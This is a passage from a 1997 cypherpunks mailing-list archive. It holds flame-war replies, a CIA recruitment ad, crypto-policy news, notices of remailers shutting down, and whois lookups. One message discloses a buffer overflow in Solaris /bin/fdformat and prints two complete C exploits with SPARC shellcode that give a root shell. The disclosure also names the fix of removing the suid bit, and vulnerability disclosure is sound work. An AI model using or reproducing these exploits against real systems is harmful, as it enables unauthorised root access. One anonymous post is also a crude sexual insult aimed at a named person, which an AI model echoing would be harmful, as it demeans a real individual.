]>invocation of my name on the fight-censorship list, so I posted the
]>article here, on March 1st.
]
]	Consider the phrase "Note when you arrived, when the
]content-free flames started ...". I arrived *after* you started the
]flamewar, and your mudfest is what began it. You spit in the thread,
]don't complain it now tastes bad.
]
]>>       This is the sort of rewriting of history Rich does. He posts some
]>>nasty, provocative flames. When people flame him back, he acts so hurt,
]>>and edits out his part in his retelling, playing the wounded innocent.
]>
]>This is, of course, the unalloyed truth.
]
]	We see it demonstrated over and over again. Look at your rewriting
]above.
]
]>>>>     Donna Riley and Jean DeCamp shouldn't be touched with a
]>>>>10-foot polemic. I met Jean once. The woman couldn't stop berating me
]>>>
]>>>She should have, with the smear campaign you continue to run against her,
]>>
]>>       Her own words condemn her. She'd like to run away from them,
]>>but she can't.
]>
]>I see. How good of you to post selected quotes prominently on the web for
]>more than two years, especially the ones that explicitly read "This is
]>private email" and "Please consider this paragraph confidential."
]>http://joc.mit.edu/footnotes/c3-ljc.txt
]
]	Wrong. All the material is there, has been from early on. Read
]the whole thing, http://joc.mit.edu/charges.html#3 , especially
]http://joc.mit.edu/docs/camp.brief.txt .
]	In fact, I think my first tussle with her was explaining why
]she was utterly wrong to allege "libelous" in that case, a mistake you
]repeated, but you should know better.
]
]>Justice on Campus.
]
]	Take your complaint to all the papers and magazines printing
]Timothy McVay's "confession?" now.
]
]>>>But she didn't take a swing at you, did she? I can only think of one
]>>>person mentioned in this thread who was arrested and convicted for taking
]>>>swings at someone he was living with. "Justice on Campus" they call the
]>>
]>>       Actually, said person was falsely and maliciously accused by
]>>the ex- who has a history of making far-out accusation, on the eve of
]>>their relationship breakup, and couldn't afford to fight it all the
]>>way through (for years?). But talk about one-sided, Rich wouldn't tell
]>>you any of that.
]>
]>Right. I haven't posted the URL for the police report, which mentions
]>third parties Yang and Gardy calling the police when they heard the
]
]	Nor have you mentioned it's hosted by the same person who made
]bogus harassment charges against JOC and me, which where completely
]false and malicious, and has an amazing history of prevarication.
]
]>some concern for personal privacy. I will merely say that in my personal
]>opinion, you are a disgusting individual for allowing yourself to be so used.
]
]	I love you too.
]
]>If you don't think a reasonable and prudent person would read the
]>police report or judgement this way, then by all means, post the URL on
]>"Justice" on Campus. You consider it your duty to post selected personal
]>email between third parties; why not public record?
]
]	I personally believe there's something wrong with it, because
]it's hosted by the very same guy who tried to get JOC and me in trouble
]with manufactured malicious charges. See   http://joc.mit.edu/attack.html
]	If I were dealing with it, I'd put *everything* up in defense,
]but again, I understand at a human level the reaction not to wallow
]though the mud of an angry ex-'s accusations.
]
]>>       You're very mixed up. Bogus harassment charges were filed
]>>against *me*, and it gave me a very good view of CMU-style politics.
]>>They use harassment charges and threats as standard weapons down there.
]>
]>I see. Again, this is the unalloyed truth. "Justice on Campus."
]
]	Rich, exactly what part do you doubt? That charges were made?
]That's never been denied by anyone involved. That they were phony?
]Well, given that I was hundreds of miles away, and I don't think I
]ever sent the guy e-mail, it's hard to make an argument (unless you
]consider Usenet flaming to be sufficient, which I would really advise
]you not to do). So yes, that's the unalloyed truth.
]
]>>>Yes. Two simple wording changes. Please change the name of the list to
]>>>"fight" and change the word "unmoderated" to "moderated."
]>>
]>>       In other words, *SNEER*. It's not about the wording, it's
]>>about your whining, nothing would make you happy, you just want an
]>>issue to cry about.
]>
]>Two simple changes to the wording, in the interest of accuracy. That's all.
]
]	"Lightly moderated with regard to participants" seems very non-sneery,
]but I doubt it'll make you happy.
]
]>>       Explain to me how importing this flame war onto the mailing
]>>list is going to help anything at all. It seems to me it'd just make
]>>things worse.
]>
]>Well, there we disagree. Convene the Happynet Unofficial Anti-Censorship
]>Committee and mull it over at your leisure. I'm in no hurry.
]
]	So tell me how it's going to help anything. At this point, I
]think you're beyond help.
]
]--
]Seth Finkelstein  				sethf at mit.edu
]Disclaimer : I am not the Lorax. I speak only for myself.
](and certainly not for Project Athena, MIT, or anyone else).
]

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From skipo at Math.PUB.Ro  Sun Mar 23 07:58:08 1997
From: skipo at Math.PUB.Ro (Cristian Schipor)
Date: Sun, 23 Mar 1997 07:58:08 -0800 (PST)
Subject: Remake: buffer overflow in /bin/fdformat + exploit (Solaris2.X)
Message-ID: <Pine.SUN.3.95.970323175715.2710G-100000@euler.math.pub.ro>



motto: " No one would have believed in the last years of the nineteenth
century that this world was being watched keenly and closely by
intelligences greater than man's and yet as mortal as his own; that as men
busied themselves about their various concerns they were scrutinised and
studied, perhaps almost as narrowly as a man with a microscope might scru-
tinise the transient creatures that swarm and multiply in a drop of
water."
			H.G.Wells - "The War of the Worlds"


Sun Mar 23 16:56:15 EET 1997 Romania

"Remake for bufer-overflow in find_media() now in /bin/fdformat"

The buffer overflow bug I posted to you in Mar 13 1997 is present in
/bin/fdformat too (which has in may solaris 2.4 and 2.5.1 distributions
the suid-exec bit on and it is owned by root). By exploiting fdformat with
suid-exec bit on, anyone can gain a root (or who is the owner of fdformat)
shell. So, to prevent an fdformat exploit, remove the suid-exec bit from
/bin/fdformat. 

Cristian Schipor - Computer Science Faculty - Bucharest - Romania
Email: skipo at math.pub.ro, skipo at sundy.cs.pub.ro, skipo at ns.ima.ro
Phone: 401-410.60.88

See http://www.math.pub.ro/security

My exploits (with argv[1] you can change the STACK_OFFSET, +- x, x=8*k
k=1,2,3,...): 

--------------------------- lion24.c ---------------------------------
/*
Solaris 2.4
*/

   #include <stdio.h>
   #include <stdlib.h>
   #include <sys/types.h>
   #include <unistd.h>
   
   #define BUF_LENGTH 264
   #define EXTRA 36
   #define STACK_OFFSET -56
   #define SPARC_NOP 0xa61cc013
   
   u_char sparc_shellcode[] =

   "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
   "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
   "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
   "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
   "\x91\xd0\x20\x08"
   ;
   
   u_long get_sp(void)
   {
   __asm__("mov %sp,%i0 \n");
   }
   
   void main(int argc, char *argv[])
   {
   char buf[BUF_LENGTH + EXTRA + 8];
   long targ_addr;
   u_long *long_p;
   u_char *char_p;
   int i, code_length = strlen(sparc_shellcode),dso=0;
   
   if(argc > 1) dso=atoi(argv[1]);
   
   long_p =(u_long *) buf ;
   targ_addr = get_sp() - STACK_OFFSET - dso;
   
   for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
   *long_p++ = SPARC_NOP;
   
   char_p = (u_char *) long_p;
   
   for (i = 0; i < code_length; i++)
   *char_p++ = sparc_shellcode[i];
   
   long_p = (u_long *) char_p;
   
   for (i = 0; i < EXTRA / sizeof(u_long); i++)
   *long_p++ =targ_addr;
   
   printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
   targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
   execl("/bin/fdformat", "fdformat   ", &buf[0],(char *) 0);
   perror("execl failed");
   }
------------------------------ end of lion24.c --------------------------

-------------------------------- lion25.c ------------------------------
/* 
Solaris 2.5.1 - this exploited was compiled on Solaris2.4 and tested on
2.5.1
*/

   #include <stdio.h>
   #include <stdlib.h>
   #include <sys/types.h>
   #include <unistd.h>
   
   #define BUF_LENGTH 364
   #define EXTRA 400
   #define STACK_OFFSET 704
   #define SPARC_NOP 0xa61cc013
   
   u_char sparc_shellcode[] =

   "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
   "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
   "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
   "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
   "\x91\xd0\x20\x08"
   ;
   
   u_long get_sp(void)
   {
   __asm__("mov %sp,%i0 \n");
   }
   
   void main(int argc, char *argv[])
   {
   char buf[BUF_LENGTH + EXTRA + 8];
   long targ_addr;
   u_long *long_p;
   u_char *char_p;
   int i, code_length = strlen(sparc_shellcode),dso=0;
   
   if(argc > 1) dso=atoi(argv[1]);
   
   long_p =(u_long *) buf ;
   targ_addr = get_sp() - STACK_OFFSET - dso;
   for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
   *long_p++ = SPARC_NOP;
   
   char_p = (u_char *) long_p;
   
   for (i = 0; i < code_length; i++)
   *char_p++ = sparc_shellcode[i];
   
   long_p = (u_long *) char_p;
   
   for (i = 0; i < EXTRA / sizeof(u_long); i++)
   *long_p++ =targ_addr;
   
   printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
   targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
   execl("/bin/fdformat", "fdformat", & buf[1],(char *) 0);
   perror("execl failed");
   }

--------------------------- end of lion25.c -------------------------------






From bdolan at USIT.NET  Sun Mar 23 08:09:18 1997
From: bdolan at USIT.NET (Brad Dolan)
Date: Sun, 23 Mar 1997 08:09:18 -0800 (PST)
Subject: Interesting Job Offer
Message-ID: <Pine.GSO.3.95.970323110835.21845A-100000@use.usit.net>


>From *Nuclear News*, 3/97:

YOUR OFFICE IS THE WORLD

You are interested in the constant changes on the world stage and
you want to become a part of it.  Your workplace becomes this
dynamic world arena when you choose a career as an overseas
Operations Officer with the Central Intelligence Agency.

PUT YOUR TECHNICAL EXPERTISE TO GOOD USE

Right now, we are seeking highly motivated men and women with
degrees in scientific and technical fields.  To qualify, you must
combine proven personal integrity and trustworthiness with
qualifications in:

+ Electrical/Electronic Engineering
+ Computer Science
+ Physics
+ Nuclear Engineering
+ Mathematics

We are particularly interested in individuals with undergraduate
or postgraduate degrees in these disciplines who also have work
experience in telecommunications, satellite communications,
programming, networking, Internet communications or technology-
related R&D efforts.

A UNIQUE CAREER THAT IS NOT FOR EVERYONE

If it's right for you, you'll know it. And you'll know you can't
find it anywhere else.  You must have a strong interest in
international trends and events, in how advanced technologies
impact areas such as international terrorism, narcotics
trafficking, weapons development, world ecology and political
stability.  Apply your technological expertise to support U.S.
security and make a positive difference in our world.

COMBINE ACADEMIC EXCELLENCE WITH STREET SMARTS

It takes more to qualify for this unusual career track than just
technical expertise.  You will be working in multicultural
environments with foreign nationals, so you must be comfortable
and "at home" anywhere in the world.  Excellent written and
verbal communication skills and foreign language proficiency are
essential tools of your trade.  Previous overseas residence or
extensive foreign travel are definite assets.

U.S. citizenship or legal resident status is required.  All
applicants must successfully complete a thorough medical and
psychiatric exam, a polygraph interview and an extensive
background investigation.  The CIA encourages applications from
men and women of every racial and ethnic background from all
parts of the country.

To apply, send your resume, along with a cover letter describing
your interest in working overseas as a CIA Operations Officer. 
We will respond within 30 days if your application is evaluated
as being of interest.

Central Intelligence Agency
Thomas Benning
Dept. YOW-NN397
P.O. Box 12708
Rosslyn Station
Arlington, VA 22209

The CIA is an equal opportunity employer

CAREERS FOR A CHANGING WORLD

Circle Reader Service No. 57







From rah at shipwright.com  Sun Mar 23 08:16:54 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sun, 23 Mar 1997 08:16:54 -0800 (PST)
Subject: A cypherpunk push-poll ? (Was Re: Dorothy and the four Horseman)
In-Reply-To: <v03020920af59dd3df26e@[139.167.130.246]>
Message-ID: <v03020901af5af7b23329@[139.167.130.246]>


At 7:07 am -0500 on 3/23/97, Timothy C. May wrote:

> I'd bet that generating such a counter-poll would be a waste of time. The
> Denning poll has already been distributed by the Infowar crowd; it is
> unlikely in the extreme that Schwartau and his crowd would have any
> interest in minimizing the dangers.
>
> Sort of like trying to counter Pat Robertson's "poll" on "The 700 Club"
> with a counter-poll...what's the point?
>
> Besides, crypto _will_ be used for "crimes." This is, after all, our intent.

As always, Tim is right.

I actually didn't see this as something "we" should actually "do". I saw
this more as a humorous exercise for list's entertainment.

For instance, here's an example of a question that Dorothy and Winn
*should* have asked:

"In your extensive use of the internet in your professional capacity as the
CIO of a Fortune 50 corporation, have you encountered the use of
cryptography in acts of genocide?

Ecologic holocaust?

Thermonuclear terrorism?

The use of asteroid impact to destroy all life on earth as we know it?"


Or, as an example of some questions for the Official Cypherpunks
Cryptography Push-Poll:

"Have you ever seen or heard of a government which used deliberately
weakened cryptography in it's own operations?"

"Do you believe that a government which knows *everything* about you can be
trusted with that information?"

"Do you believe that the U.S. Constitution was written to control the
behavior of government, or that of private citizens? Why do you think this
is the case?"


;-)

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/








From nobody at REPLAY.COM  Sun Mar 23 08:21:53 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sun, 23 Mar 1997 08:21:53 -0800 (PST)
Subject: Britain to ban free use of crypto?  (fwd)
Message-ID: <199703231605.RAA20665@basement.replay.com>


[This message was run through an anonymizer as a spam-blocker.  My .sig
is at the end.]

 "Peter D. Junger" <junger at upaya.multiverse.com> stated:

>After a very quick reading of this proposal I am convinced that all it
>would do if implemented by legislation that follows its recommendations
>would be to forbid those who are in the UK from using an unlicensed
>key escrow services.
>
>It quite clearly does not intend to ban the use of cryptography or the
>publication of cryptographic software.  

FWIW, the speaker from the UK government at CFP '97 described the proposal
in almost exactly these terms.  And tried to make clear that greater bans
were not on the agenda, at least for now. 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law | "Cyberspace" is not a place.
U. Miami School of Law     | 
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 









From camcc at abraxis.com  Sun Mar 23 08:49:42 1997
From: camcc at abraxis.com (Alec)
Date: Sun, 23 Mar 1997 08:49:42 -0800 (PST)
Subject: FWD: [PGP-USERS] Private Idaho banned
Message-ID: <3.0.1.32.19970323114951.007b7530@smtp1.abraxis.com>


-----BEGIN PGP SIGNED MESSAGE-----

>Resent-From: pgp-users-request at rivertown.net
>X-Sender: joelm at mail.eskimo.com
>Date: Sun, 23 Mar 1997 06:57:45 -0800
>To: pgp-users at rivertown.net
>From: Joel McNamara <joelm at eskimo.com>
>Reply-To: pgp-users at rivertown.net
>Subject: [PGP-USERS] Private Idaho banned
>
>Just got some interesting correspondence from someone in the United Arab
>Emirates.
>
>It appears the government is blocking access to my Private Idaho
>distribution Web page.  Apparently the UAE only allows ISP customers to
>access the Net through a proxy server, similar to Singapore.  They're
>blocking out the typical nasty porn sites, Cindy Crawford fan clubs, etc.
>
>Well, obviously someone over there finds Private Idaho subversive enough to
>block.
>
>Tsk, tsk, tsk.
>
>I'd appreciate any other accounts of countries that are blocking
>http://www.eskimo.com/~joelm/pi.html or http://www.eskimo.com/~joelm.
>Wonder if the UK will be next?
>
>Joel
>

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMzVfKCKJGkNBIH7lAQE0ywQAr6SGyK+CUhzTPHSVmWAHlpKortgAUGl7
YWNQ+M9JplKfZhpJhH7KY4xtkmqoPlSZIRYGdobHlvTcPruzv0WmuMA/neXHuhJx
LJQYiNxiN+cqobhrlCjce6h73HKBdi2qPgRQsLshnmbRJ/ddydThauWMp1qTruhv
HiOlmlth0U0=
=GXJy
-----END PGP SIGNATURE-----






From dlv at bwalk.dm.com  Sun Mar 23 08:50:09 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 23 Mar 1997 08:50:09 -0800 (PST)
Subject: Gilmore is sabotaging the lists again
In-Reply-To: <9703221538.AA23607@uu.psi.com>
Message-ID: <s7X14D2w165w@bwalk.dm.com>


I cc:'d this to cypherpunks at cyberpass.com; one week later is bounced

]Subject: Returned mail: Cannot send message for 1 week
]
]   ----- Transcript of session follows -----
]While talking to www.cyberpass.com:
]>>> MAIL From:<dlv at bwalk.dm.com>
]<<< 451 queuename: Cannot create "qfIAA10925" in "/usr/spool/mqueue" (euid=35): Disc quota exceeded
]
]   ----- Unsent message follows -----
]To: kszczypi at tele.pw.edu.pl (Krzysztof Szczypiorski)
]Cc: cypherpunks at cyberpass.com
]Subject: The mysterious disappearance of 1400 subscribers and gateways
]From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
]Comments: All power to the ZOG!
]Message-Id: <152L4D39w165w at bwalk.dm.com>
]Date: Sat, 15 Mar 97 09:01:23 EST
]In-Reply-To: <199703151216.NAA01640 at titan.tele.pw.edu.pl>
]Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y.
]
][cc:'d to c-punks who were wondering what happened to the 1400 lurkers ]
]
]kszczypi at tele.pw.edu.pl (Krzysztof Szczypiorski) writes:
]
]> Hi, I remember that you ara one of the most active people on cypherpunks
]> list. I've got the simple question: what the current status of cypherpunks
]> list is? Is the list moderated? The last posting that I've received is dated
]> on Feb 20... It was a couple of weeks ago.... :((
]
]Cypherpunks is currently an unmoderated distributed list. You can send the
]command 'subscribe cypherpunks' to one of several sites:
] majordomo at algebra.com
] majordomo at ssz.com
] majordomo at cyberpass.com
]
]You can send submissions to cypherpunks@ any of these sites.
]
]If someone (Dale?) has saved the output from several 'who's over the last
]few months, it might be a good idea to e-mail them once and to tell them
]this. Apparently the new subscription instructions never made it to those
]who remained only on the moderated list.
]
]Wseho Nalepshego.





From ichudov at algebra.com  Sun Mar 23 09:11:26 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Sun, 23 Mar 1997 09:11:26 -0800 (PST)
Subject: Gilmore is sabotaging the lists again
In-Reply-To: <s7X14D2w165w@bwalk.dm.com>
Message-ID: <199703231703.LAA18225@manifold.algebra.com>


Dzien Dobry, pan Dimitri.

Dr.Dimitri Vulis KOTM wrote:
> 
> I cc:'d this to cypherpunks at cyberpass.com; one week later is bounced
> 

The right domain name is cyberpass.net, not cyberpass.com.

whois cyberpass.com

[rs.internic.net]
Westport Trade & Barter Company, Inc. (CYBERPASS-DOM)
   539 27th Street
   San Francisco, CA 94131
   USA

   Domain Name: CYBERPASS.COM

   Administrative Contact:
      Medeiros, Raymond P  (RM1442)  ray at NEWGATE.NET
      (415) 206-1701 (FAX) (415) 206-0919
   Technical Contact, Zone Contact:
      Secure Network Systems Hostmaster  (SNS3-ORG)  hostmaster at SECURE.NET
      tel.: 801-224-9346  fax.: 801-224-6009


   Record last updated on 14-Dec-96.
   Record created on 09-Mar-95.

   Domain servers in listed order:

   NS1.SECURE.NET		192.41.1.10
   NS2.SECURE.NET		192.41.2.10


The InterNIC Registration Services Host contains ONLY Internet Information
(Networks, ASN's, Domains, and POC's).
Please use the whois server at nic.ddn.mil for MILNET Information.

whois cyberpass.net

[rs.internic.net]
infonex (CYBERPASS2-DOM)
   5145 Manhasset Dr. #131
   San Diego, CA 92115

   Domain Name: CYBERPASS.NET

   Administrative Contact, Technical Contact, Zone Contact:
      Cottrell, Lance  (LC113)  loki at OBSCURA.COM
      (619) 667-7969 (FAX) (619) 667-7966

   Record last updated on 21-Oct-96.
   Record created on 19-Sep-95.

   Domain servers in listed order:

   NS1.INFONEX.NET		206.170.114.2
   NS2.INFONEX.NET		206.170.114.3
   CASS151.UCSD.EDU		132.239.146.151
   NS1.PBI.NET			206.13.28.11
   NS.C2.ORG			208.139.36.36


The InterNIC Registration Services Host contains ONLY Internet Information
(Networks, ASN's, Domains, and POC's).
Please use the whois server at nic.ddn.mil for MILNET Information.

Do widzennia.

igor

> ]Subject: Returned mail: Cannot send message for 1 week
> ]
> ]   ----- Transcript of session follows -----
> ]While talking to www.cyberpass.com:
> ]>>> MAIL From:<dlv at bwalk.dm.com>
> ]<<< 451 queuename: Cannot create "qfIAA10925" in "/usr/spool/mqueue" (euid=35): Disc quota exceeded
> ]
> ]   ----- Unsent message follows -----
> ]To: kszczypi at tele.pw.edu.pl (Krzysztof Szczypiorski)
> ]Cc: cypherpunks at cyberpass.com
> ]Subject: The mysterious disappearance of 1400 subscribers and gateways
> ]From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
> ]Comments: All power to the ZOG!
> ]Message-Id: <152L4D39w165w at bwalk.dm.com>
> ]Date: Sat, 15 Mar 97 09:01:23 EST
> ]In-Reply-To: <199703151216.NAA01640 at titan.tele.pw.edu.pl>
> ]Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y.
> ]
> ][cc:'d to c-punks who were wondering what happened to the 1400 lurkers ]
> ]
> ]kszczypi at tele.pw.edu.pl (Krzysztof Szczypiorski) writes:
> ]
> ]> Hi, I remember that you ara one of the most active people on cypherpunks
> ]> list. I've got the simple question: what the current status of cypherpunks
> ]> list is? Is the list moderated? The last posting that I've received is dated
> ]> on Feb 20... It was a couple of weeks ago.... :((
> ]
> ]Cypherpunks is currently an unmoderated distributed list. You can send the
> ]command 'subscribe cypherpunks' to one of several sites:
> ] majordomo at algebra.com
> ] majordomo at ssz.com
> ] majordomo at cyberpass.com
> ]
> ]You can send submissions to cypherpunks@ any of these sites.
> ]
> ]If someone (Dale?) has saved the output from several 'who's over the last
> ]few months, it might be a good idea to e-mail them once and to tell them
> ]this. Apparently the new subscription instructions never made it to those
> ]who remained only on the moderated list.
> ]
> ]Wseho Nalepshego.
> 



	- Igor.





From nobody at huge.cajones.com  Sun Mar 23 12:06:05 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 23 Mar 1997 12:06:05 -0800 (PST)
Subject: [IMPORTANT] Cyclic codes
Message-ID: <199703232006.MAA02034@mailmasher.com>


Tim C. Mayo studied yoga back-streching 
exercises for five years so he could blow 
himself (nobody else will).

     ))))
    ))  OO  Tim C. Mayo
    6   (_)
    `____c






From sergey at el.net  Sun Mar 23 13:12:05 1997
From: sergey at el.net (Sergey Goldgaber)
Date: Sun, 23 Mar 1997 13:12:05 -0800 (PST)
Subject: Remailer problem solution?
In-Reply-To: <3.0.1.32.19970322204155.007231a8@mail.io.com>
Message-ID: <Pine.LNX.3.95.970323155218.144B-100000@void.el.net>


On Sat, 22 Mar 1997, Greg Broiles wrote:

-> At 01:56 PM 3/22/97 -0800, nobody at hidden.net wrote:
-> 
-> >Why would not one of these solutions work?
-> >
-> >1. Accept and send PGP encrypted messages only.
-> 
-> This "works" in that it reduces the number of people subjected to messages
-> they don't want to see, but it also makes it more difficult (or impossible)
-> to use remailers for tasks like:
-> 
-> sending info to crypto-illiterate reporters/politicians/whatever
-> ("whistleblowing")
-> sending messages to newsgroups and mailing lists which don't have a shared
-> private key

This is only a practical problem related to PGP's lack of popularity.
The proposed solution will work in the long run, assuming PGP achieves
great popularity.  Thus, education of the public concerning PGP and remailers
will help make this solution more effective.

Of course, interim short term solutions should be sought as well.

-> >2. Keep a list of addresses of people who do not wish to receive mail
-> >from the remailers.
-> 
-> This is done already, but the group of people who don't want to recieve mail
-> from remailers but haven't signed up yet (because they don't know about
-> remailers) is orders of magnitude bigger than people who've signed up. Mostly
-> people get on the block list(s) because they've already been mailed things
-> they didn't want to see; by the time they learn about blocking, it's too
-> late.

Information explaining blocking could be sent with each piece of mail from
a remailer.  Alternatively, to conserve bandwidth, a pointer to a web-page
could be attached.

-> Also, it's difficult to apply this solution to many remailers - should all
-> remailers block an address because one remailer operator claims to have
-> received a request? Or should each operator act alone, which means that one
-> anonymity-hostile end user must send multiple block requests?

A web page could be dedicated to propagating multiple block requests, in
the manner of those extant sites which propogate new web-page information 
to search engines.  This could also be made easy, intuitive, and mostly 
transparent to the end user.


 ............................................................................
 . Sergey Goldgaber <sergey at el.net>      System Administrator        el Net .
 ............................................................................
 .   To him who does not know the world is on fire, I have nothing to say   .
 .                                                      - Bertholt Brecht   .
 ............................................................................






From camcc at abraxis.com  Sun Mar 23 13:27:28 1997
From: camcc at abraxis.com (Alec)
Date: Sun, 23 Mar 1997 13:27:28 -0800 (PST)
Subject: [PGP-USERS] *** THE HAYSTACK REMAILER IS GONE ***
Message-ID: <3.0.1.32.19970323162740.007c32a0@smtp1.abraxis.com>


>Date: Sun, 23 Mar 1997 15:09:25 -0500 (EST)
>From: "Fred B. Ringel" <fredr at joshua.rivertown.net>
>Reply-To: fredr at joshua.rivertown.net
>To: pgp-users list <pgp-users at rivertown.net>
>Subject: [PGP-USERS] *** THE HAYSTACK REMAILER IS GONE ***
>
>Hi all-
>
>	Here's another one from this week (in addition to jpunix). They are
>dropping like flies, unfortunately.
>
>	Boy, this really, really stinks.
>
>	Fred
>==========================================================================
>
>   *** IMPORTANT NEWS REGARDING HAYSTACK at HOLY.COW.NET ***
>
> The Bovine Remailer, also known as haystack at holy.cow.net, is
> hereby CLOSED. Mail sent to that address will bounce; I don't
> know on a technical basis what putting it in the middle of a
> remailer chain will do. There are no other remailers or anon
> services associated with cow.net.
>
> It has been a fun year, but the simple fact is that running
> a remailer is a thankless, embittering, nasty job. For every
> success story of alternate or persecuted viewpoints seeing
> the light of day, there are another four or five cases of
> legal threats, use of the remailer to spam people who have
> already turned off access to their accounts from other sources,
> and the extremely disturbing trend of posting newsgroups
> with falsified From: Headers, intending to cause endless spam
> bots to mail the forged address. No one carefully put in a
> forged address to endanger or misrepresent another person, 
> but it was only a matter of time.
>
> Haystack was running on a Sun 3/280 at the cow.net loft. At
> the peak, this machine was recieving over one thousand 
> e-mails a day, doing PGP calculations, and sending them out,
> and the 30mhz processor wasn't up to the task. The final
> straw was the use of the remailer to send out several 
> hundred "MAKE MONEY FAST"-style messages to a group of 
> folks who then rebelled or retaliated to the remailer itself;
> everyone associated in this sucks. 
>
> If you think this is a shame, then put up your own remailer;
> no doubt you'll have a thicker skin that the admins of
> haystack, and will somehow flourish under the increasingly
> fascist and overbearing environment of the Internet, but
> the games up here, for now.
>
> Yes, for now. We might return some time in the future,
> should technical and financial issues be solved, but it seems
> rather unlikely at this juncture.
>
> Once again, if you enjoyed using haystack, you might consider
> fighting the good fight and putting up your own. A good,
> solid increase in remailers might save the culture. It is
> nearly a crime that so much perfectly powerful computer
> hardware exists out there, hooked to the net, and a mere
> dozen computers, in our case quite aged, were/are doing the
> remailing work.
>
> So, well, like we said, it's been a blast. See you later.
> Moo.
>
> - The Haystack Administration.
>
>/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
>Fred B. Ringel			--	Rivertown.Net Internet Access
>Systems Administrator		--	http://www.rivertown.net
>and General Fixer Upper		--	Voice/Fax/Support: +1.914.478.2885
>	Although in theory, there's no difference between 
>	theory and practice, in practice, there is.
>
>






From real at freenet.edmonton.ab.ca  Sun Mar 23 14:09:15 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Sun, 23 Mar 1997 14:09:15 -0800 (PST)
Subject: [IMPORTANT] Cyclic codes
In-Reply-To: <199703232006.MAA02034@mailmasher.com>
Message-ID: <Pine.A41.3.95.970323150538.54778A-100000@fn2.freenet.edmonton.ab.ca>


On Sun, 23 Mar 1997, Huge Cajones Remailer wrote:

Vulis what is the point of this.

> Tim C. Mayo studied yoga back-streching 
> exercises for five years so he could blow 
> himself (nobody else will).
> 
>      ))))
>     ))  OO  Tim C. Mayo
>     6   (_)
>     `____c
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real at freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756 at freenet.toronto.on.ca







From rah at shipwright.com  Sun Mar 23 15:00:40 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sun, 23 Mar 1997 15:00:40 -0800 (PST)
Subject: Digital Signature Mock Trial
Message-ID: <v03020902af5b66138012@[139.167.130.246]>



--- begin forwarded text


X-PGP-Key: <http://www.shore.net/~sable/info/rltkey.htm>
X-Sender: rodney at pop3.pn.com
Date: Sun, 23 Mar 1997 17:13:25 -0500
To: dcsb at ai.mit.edu
From: Rodney Thayer <rodney at sabletech.com>
Subject: Digital Signature Mock Trial
Mime-Version: 1.0
Sender: bounce-dcsb at ai.mit.edu
Precedence: bulk
Reply-To: Rodney Thayer <rodney at sabletech.com>

>Date: Fri, 21 Mar 1997 18:37:16 -0500
>From: Dan Greenwood <dan at civics.com>
>
>Digital Signature Mock Trial
>http://www.magnet.state.ma.us/itd/legal/mock1.htm
>
>The Commonwealth of Massachusetts Information Technology Division Legal
>Department will sponsor a mock trial based on a dispute over a digitally
>signed communication. This will be an online event, probably web-based.
>There will also be a half-day "court room" mock trial to be held in
>Boston in the spring. Anyone interested in helping to plan, or
>participate in one or both of these mock trials should contact Dan
>Greenwood at dgreenwood at state.ma.us.
>
>The purpose of this exercise will be to explore legal ramifications of
>deploying digital signature technology as a business tool, including:
>what grounds for a claim (consumer law, financial and banking law,
>common law, other?); what issues arise relative to preserving certain
>evidence for trial; the legal relationship between an "owner"
>(subscriber) of a digital signature, a relying party and a certification
>authority; what other evidentiary admissibility issues arise, how might
>certain contract terms be interpreted (i.e.: what arguments might be
>raised related to liability limitations, rights and duties under
>contract); etc. The case
>will be tried in a fictional jurisdiction and to fictional parties.
>
>The specific factual pattern (i.e.: who are the parties and what
>happened to them) will be developed so as to highlight areas of legal
>uncertainty and maximize the instructional value of this exercise. It is
>expected that this exercise will assist the
>Commonwealth of Massachusetts and other interested parties to more
>efficiently manage liability and to better anticipate legal issues as we
>look to deploy public key based network solutions.


--------
Rodney Thayer <rodney at sabletech.com>
